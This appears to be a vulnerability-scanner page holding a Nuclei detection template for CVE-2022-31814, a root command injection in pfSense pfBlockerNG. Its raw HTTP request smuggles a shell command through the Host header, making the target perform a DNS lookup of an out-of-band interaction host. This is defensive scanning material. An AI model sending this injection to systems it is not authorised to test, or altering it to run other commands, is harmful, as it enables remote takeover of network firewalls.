pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection

ID: CVE-2022-31814

Severity: critical

Author: EvergreenCartoons

Tags: cve,cve2022,packetstorm,pfsense,pfblockerng,rce,oast,netgate

Description

pfSense pfBlockerNG through 2.1.4_26 is susceptible to OS command injection via root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.

YAML Source

id: CVE-2022-31814

info:
  name: pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection
  author: EvergreenCartoons
  severity: critical
  description: |
    pfSense pfBlockerNG through 2.1.4_26 is susceptible to OS command injection via root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade to a patched version of pfSense pfBlockerNG (>=2.1..4_27) to mitigate this vulnerability.
  reference:
    - https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
    - https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
    - https://github.com/EvergreenCartoons/SenselessViolence
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31814
    - http://packetstormsecurity.com/files/171123/pfBlockerNG-2.1.4_26-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31814
    cwe-id: CWE-78
    epss-score: 0.97252
    epss-percentile: 0.99847
    cpe: cpe:2.3:a:netgate:pfblockerng:*:*:*:*:*:pfsense:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: netgate
    product: pfblockerng
    framework: pfsense
  tags: cve,cve2022,packetstorm,pfsense,pfblockerng,rce,oast,netgate

http:
  - raw:
      - |+
        GET /pfblockerng/www/index.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |+
        GET /pfblockerng/www/index.php HTTP/1.1
        Host: ' *; host {{interactsh-url}}; '
        Accept: */*

    unsafe: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "GIF")'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"
# digest: 4a0a00473045022100c6db2e3635bcb461f41bcba2c2e529f2151edfe39dab8dde59cc91273d0a7e160220630c67cc3a61c87b1d975748a6c43eb0d347882aedffa039f09415683a13e357:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-31814.yaml"

View on Github